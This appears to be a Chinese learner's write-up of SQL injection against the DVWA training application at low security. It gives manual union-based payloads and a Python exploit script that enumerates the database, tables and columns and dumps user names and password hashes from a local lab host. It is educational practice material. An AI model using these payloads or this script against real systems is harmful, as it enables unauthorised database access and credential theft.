DVWA SQL-injection 附python脚本

SQL-Injection

low等级

首先我们将dvwa等级调到low 如图

接下来选择SQL Injection,并在提交框中输入正常值1，查看返回结果

接下来检测是否存在注入，分别输入 1' and 1=1    1' and 1=2 当我们输入1' and 1=1时，发现报错页面，提示我们语句没有闭合，所以我们输入1' and '1'='1和 1' and '1'='2

得到如上回显信息说明存在注入漏洞，简单说一下原因，当输入and '1'='1时，数据库查询语句为 select * from users where user_id= '1' and '1'='1' 因为and 1=1永真所以数据库返回信息， 而 1=2为假所以不返回任何信息 得到以上信息说明我们成功将代码插入到数据库中了 也意味着此处存在sql注入

接下来就是去猜解数据库的信息过程如下

#猜解字段数
1' order by 1#
1' order by 2#
1' order by 3#  报错，说明字段数为2 // 如果字段数较多的话，我们可以采用二分法！
#查询当前数据库
1' union select 1,database() -- //**注意，注释符为“--” 最后是是有空格的
#查询表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --
#查询users表的字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --
#获取字段内容
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users --

剩下的Medium 和High 等级的引用FB中的文章了，不写了

这里

下面附上我用python写的exp(菜比练手的时候写的，代码很烂凑合着看...) ，代码有几处自动化的功能不够完善，作为新手水平有限，留待以后完善吧

# -*- coding: utf-8 -*
import requests
import re

url = "http://192.168.86.129/dvwa/vulnerabilities/sqli/?id=1"
payload1 = '''1%27+order+by+{n}+%23&Submit=Submit#'''
headers = {

		'Accept':'text/html,application/xhtml+xm…plication/xml;q=0.9,*/*;q=0.8',
		'Accept-Encoding':'gzip, deflate',
		'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
		'Connection':'keep-alive',
		'Cookie':'security=low; PHPSESSID=gg01k6oo6q3fhq5fl5k2lkear2',
		'Host':'192.168.86.129',
		'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0'

}
for i in range(1,10):
	ss = payload1.format(n=i)
	zz = requests.get(url+ss,headers=headers)
	if not 'Unknown' in zz.content:
		print 'fuck!'
	else:
		print 'ok:',i-1
		break
print '#'*10,u'字段数为:',i-1,'#'*10
print u'数据库查询↓'

payload2 = '''1'+union+select+{poc}+%23&Submit=Submit#'''
kk = payload2.format(poc='1%2Cdatabase()')
hh = requests.get(url+kk,headers=headers)

if 'Surname' in hh.content:
	database = re.findall('Surname:(.*?)</pre>',hh.text)
	print 'surprise!'
	print u'当前数据库为：',database

payload3 = '''1%27+union+select+1%2Cgroup_concat%28table_name%29+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+%23&Submit=Submit#'''
aa = requests.get(url+payload3,headers=headers)
if 'users' in aa.content:
	bb = re.findall('Surname:(.*?)</pre>',aa.text)
	print u'tables:',bb
print "#"*10,u'爆破字段ing......',"#"*10

payload4 = '''1'+union+select+1%2Cgroup_concat(column_name)+from+information_schema.columns+where+table_name%3D'users'+%23&Submit=Submit#'''
dd = requests.get(url+payload4,headers=headers)
if 'username' in dd.content:
	ee = re.findall('Surname:(.*?)</pre>',dd.text)
	print u'columns:',ee

payload5 = '''1'+or+1%3D1+union+select+group_concat(user_id%2Cfirst_name%2Clast_name)%2Cgroup_concat(password)+from+users+%23&Submit=Submit#'''
pp = requests.get(url+payload5,headers=headers)
oo = re.findall('Surname:(.*?)</pre>',pp.text)
print oo
print '#'*15,'[+]---end---[+]','#'*15

效果图

以此来记录自己学习的成果，以及成长的过程，共勉.